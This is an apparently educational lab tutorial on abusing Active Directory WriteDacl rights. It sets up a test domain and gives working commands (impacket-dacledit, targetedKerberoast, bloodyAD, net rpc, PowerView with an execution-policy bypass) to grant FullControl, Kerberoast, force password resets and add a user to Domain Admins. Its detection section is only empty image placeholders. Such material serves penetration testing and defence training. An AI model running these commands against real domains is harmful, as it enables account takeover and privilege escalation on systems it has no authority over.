In this post, we will explore the exploitation of Discretionary Access Control Lists (DACL) using the WriteDacl permission in Active Directory environments. Attackers can abuse WriteDacl permissions to gain unauthorized access or modify permissions to suit their needs.
The lab setup necessary to simulate these
attacks is outlined, with methods mapped to the MITRE ATT&CK framework to
clarify the associated techniques and tactics. Detection mechanisms for
identifying suspicious activities linked to WriteDacl attacks are also covered,
alongside actionable recommendations for mitigating these vulnerabilities. This
overview equips security professionals with critical insights to recognize and
defend against these prevalent threats.
Table of Contents
Abusing AD-DACL- WriteDacl
WriteDacl Permission
Prerequisites
Lab Setup – User Owns WriteDacl Permission
on Another User
Exploitation Phase I – User Owns WriteDacl
Permission on Another User
Bloodhound - Hunting for Weak Permission
Method for Exploitation – Granting Full
Control Followed by Kerberoasting (T1558.003) or Change Password (T1110.001)
1.
Linux Impacket tool – Granting
Full Control
1.1.
Linux Python Script –
TargetedKerberoast
1.2.
Linux – Change Password
Linux Net RPC – Samba
Linux Bloody AD
2.
Windows PowerShell Powerview –
Granting Full Control
2.1.
Windows PowerShell Powerview –
Kerberoasting
2.2.
Windows PowerShell Powerview –
Change Password
Lab Setup – User Owns WriteDacl Permission
on the Domain Admin Group
Exploitation Phase II – User Owns WriteDacl
Permission on a Group
Bloodhound - Hunting for Weak Permission
Method for Exploitation – Granting Full
Control Followed by Account Manipulation (T1098)
1.
Linux Impacket tool – Granting
Full Control
1.1.
Linux – Adding Member to the
Group
Linux Net RPC – Samba
Linux Bloody AD
2.
Windows PowerShell Powerview –
Granting Full Control
2.1.
Windows Net command – Adding
Member to the Group
Detection & Mitigation
WriteDacl Permission
The WriteDacl permission in Active
Directory allow users to modify the discretionary access control list (DACL) of
an AD object, granting them the ability to control object-level permissions. The
attacker can write a new ACE to the target object’s DACL (Discretionary Access
Control List). This can give the attacker full control of the target object.
Instead of giving full control, the same
process can be applied to allow an object to DCSync by adding two
ACEs with specific Extended Rights (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All).
Giving full control leads to the same thing since GenericAll includes
all ExtendedRights, hence the two extended rights needed for DCSync to
work.
WriteDacl permissions on a group
allow granting the right to add members to that group.
WriteDacl permissions on a user
allow granting full control over the user object.
WriteDacl permissions on a computer
object allow granting full control over the computer object.
WriteDacl permissions on a domain
object allow granting the ability to perform a DCSync operation.
Prerequisites
- Windows Server 2019 as Active Directory
- Kali Linux
- Tools: Bloodhound, Net RPC, Powerview, BloodyAD, Impacket
- Windows 10/11 – As Client
Lab Setup – User Owns WriteDacl Permission on Another User
Here, in this lab setup, we will create two
users’ Aarti and Komal, where the user Komal has WriteDacl permission over the Aarti
user.
Create the AD Environment and User
accounts
To simulate an Active Directory
environment, you will need a Windows Server as a Domain Controller (DC) and a
client machine (Windows or Linux) where you can run enumeration and
exploitation tools.
Domain Controller:
· Install Windows Server (2016 or 2019 recommended).
· Promote it to a Domain Controller by adding the Active
Directory Domain Services role.
· Set up the domain (e.g., ignite.local).
User Accounts:
· Create two AD user accounts named Aarti and Komal.
net user aarti Password@1 /add /domain
net user komal Password@1 /add /domain
Assign the "WriteDacl"
Privilege:
1.
Open Active Directory Users
and Computers (ADUC) on the Domain Controller.
2.
Enable the Advanced Features
view by clicking on View > Advanced Features.
3.
Locate User Aarti in the
Users container.
4.
Right-click on Aarti User
and go to Properties.
Go to the Security tab, and
click on Add button
1.
In the “Enter the object name
to select” box, type Komal and click Check Names and
click on OK.
2.
Select Komal user and in
the Permissions section, and click on Advanced option.
1.
In the Advanced security settings
box, double-click on Komal user’s permission entry.
2.
In the Permissions section,
check the box for Modify permission rights.
3.
Apply the settings.
At this point, Komal now
has WriteDacl permission for Aarti user.
Exploitation Phase I – User Owns WriteDacl Permission on Another User
Bloodhound - Hunting for Weak Permission
Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Komal has
the WriteDacl permission for Aarti user.
bloodhound-python -u komal -p Password@1
-ns 192.168.1.3 -d ignite.local -c All
From the graphical representation of
Bloodhound, the tester would like to identify the outbound object control for
selected user where the first degree of object control value is equal to 1.
From the graph it can be observed that the Komal
user owns WriteDacl privilege on Aarti user.
Method for Exploitation – Granting Full Control Followed by Kerberoasting
(T1558.003) or Change Password (T1110.001)
This abuse can be carried out when
controlling an object that has WriteDacl over another object.
Linux Impacket tool – Granting Full
Control
From UNIX-like systems, this can be done
with Impacket's
dacledit.py (Python), alternatively Impacket-dacledit.
impacket-dacledit -action 'write'
-rights 'FullControl' -principal 'komal' -target-dn
'CN=aarti,CN=Users,DC=ignite,DC=local' 'ignite.local'/'komal':'Password@1'
-dc-ip 192.168.1.3
With the help of dacledit, the DACL for
this object is successfully modified, Komal user now have full
Control over Aarti user.
Now, since the user has full control over
the target then it can either perform kerberoasting or can change the password
without knowing target’s current password (ForceChangePassword)
Linux Python Script – TargetedKerberoast
From UNIX-like systems, this can be done
with targetedKerberoast.py (Python).
./targetedKerberoast.py --dc-ip '192.168.1.3'
-v -d 'ignite.local' -u 'komal' -p 'Password@1'
Further, with the help of John the Ripper
end the dictionary such as Rock You can help the attacker to brute force the
weak password.
Linux – Change Password
Linux Net RPC – Samba
It can be achieved from UNIX-like system
with net, a tool for the administration of samba and cifs/smb
clients.
net rpc password aarti 'Password@987' -U
ignite.local/komal%'Password@1' -S 192.168.1.3
Linux
Bloody AD
Alternatively, it can be achieved
using bloodyAD
bloodyAD --host "192.168.1.3"
-d "ignite.local" -u "komal" -p "Password@1" set
password "aarti" "Password@789"
Windows PowerShell Powerview – Granting Full Control
From a Windows system, this can be achieved
with Add-DomainObjectAcl (PowerView
module).
powershell -ep bypass
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -Rights 'All'
-TargetIdentity "aarti" -PrincipalIdentity "komal"
With the help of Add-DomainObjectAcl, the
DACL for this object is successfully modified, Komal user now have full
Control over Aarti user.
Now, since the user has full control over
the target then it can either perform kerberoasting or can change the password
without knowing target’s current password (ForceChangePassword)
Windows PowerShell Powerview – Kerberoasting
From Windows machines, this can be achieved
with Set-DomainObject and Get-DomainSPNTicket (PowerView module).
Set-DomainObject -Identity 'aarti' -Set
@{serviceprincipalname='nonexistent/hacking'}
Get-DomainUser 'aarti' | Select
serviceprincipalname
$User = Get-DomainUser 'aarti'
$User | Get-DomainSPNTicket
Windows PowerShell Powerview – Change
Password
Linux Net RPC – Samba
The attacker can change the password of the
user using PowerView module. This can be achieved with Set-DomainUserPassword
cmdlet.
$NewPassword = ConvertTo-SecureString
'Password1234' -AsPlainText -Force
Set-DomainUserPassword -Identity 'aarti'
-AccountPassword $NewPassword
Lab Setup – User Owns WriteDacl Permission on the Domain Admin Group
Create the AD Environment:
To simulate an Active Directory
environment, you will need a Windows Server as a Domain Controller (DC) and a
client machine (Windows or Linux) where you can run enumeration and
exploitation tools.
Domain Controller:
· Install Windows Server (2016 or 2019 recommended).
· Promote it to a Domain Controller by adding the Active
Directory Domain Services role.
· Set up the domain (e.g., ignite.local).
User Accounts:
· Create a standard user account named Rudra.
net user rudra Password@1 /add /domain
Assign the "WriteDacl"
Privilege to Rudra:
Once your AD environment is set up, you
need to assign the "WriteDacl" privilege to Rudra for
the Domain Admins group.
Steps:
1.
Open Active Directory Users
and Computers (ADUC) on the Domain Controller.
2.
Enable the Advanced Features
view by clicking on View > Advanced Features.
3.
Locate the Domain Admins
group in the Users container.
4.
Right-click on Domain Admins
and go to Properties.
Go to the Security tab, and
click on Add button
1.
In the “Enter the object name
to select” box, type Rudra and click Check Names and
click on OK.
2.
Select Rudra user and in the Permissions section,
and click on Advanced option
1.
In the Advanced security
settings box, double-click on Rudra user’s permission entry.
2.
In the Permissions section,
check the box for Modify permission rights.
3.
Apply the settings.
At this point, Rudra now
has WriteDacl rights over the Domain Admins group,
meaning they can add themselves to the group.
Exploitation Phase II – User Owns WriteDacl Permission on a Group
Bloodhound - Hunting for Weak Permission
Use BloodHound to Confirm Privileges: You can use BloodHound to verify that Rudra has
the WriteDacl permission on the Domain Admins group.
bloodhound-python -u rudra -p Password@1
-ns 192.168.1.3 -d ignite.local -c All
From the graphical representation of
Bloodhound, the tester would like to identify the outbound object control for
selected user where the first degree of object control value is equal to 1.
Thus, it has shown the Rudra User has WriteDacl
privilege to Domain Admin group.
Method for Exploitation – Granting Full Control Followed by Account
Manipulation (T1098)
Linux Impacket tool – Granting Full
Control
From UNIX-like systems, this can be done
with Impacket's
dacledit.py (Python), alternatively Impacket-dacledit.
impacket-dacledit -action 'write'
-rights 'WriteMembers' -principal 'rudra' -target-dn 'CN=Domain
Admins,CN=Users,DC=ignite,DC=local' 'ignite.local'/'rudra':'Password@1' -dc-ip
192.168.1.3
With the help of dacledit, the DACL for
this object is successfully modified, rudra user now have full
Control over the group.
Linux – Adding Member to the Group
Linux Net RPC – Samba
The tester can abuse this permission by adding
Rudra User into Domain Admin group and list the domain admin members to ensure
that Rudra Users becomes Domain Admin.
net rpc group addmem "Domain
Admins" rudra -U ignite.local/rudra%'Password@1' -S 192.168.1.3
Linux Bloody AD
Alternatively, it can be achieved
using bloodyAD
bloodyAD --host "192.168.1.3"
-d "ignite.local" -u "rudra" -p "Password@1" add
groupMember "Domain Admins" "rudra"
Windows PowerShell Powerview – Granting
Full Control
From a Windows system, this can be achieved
with Add-DomainObjectAcl (PowerView
module).
powershell -ep bypass
Import-Module .\PowerView.ps1
Add-DomainObjectAcl -Rights 'All'
-TargetIdentity "Domain Admins" -PrincipalIdentity "rudra"
Windows Net command – Adding Member to
the Group
This can be achieved with a native command
line, using windows net command.
net group "domain admins" rudra
/add /domain
thus, from user property we can see Rudra
user has become the member of domain admin.
Detection & Mitigation
.png)
.png)
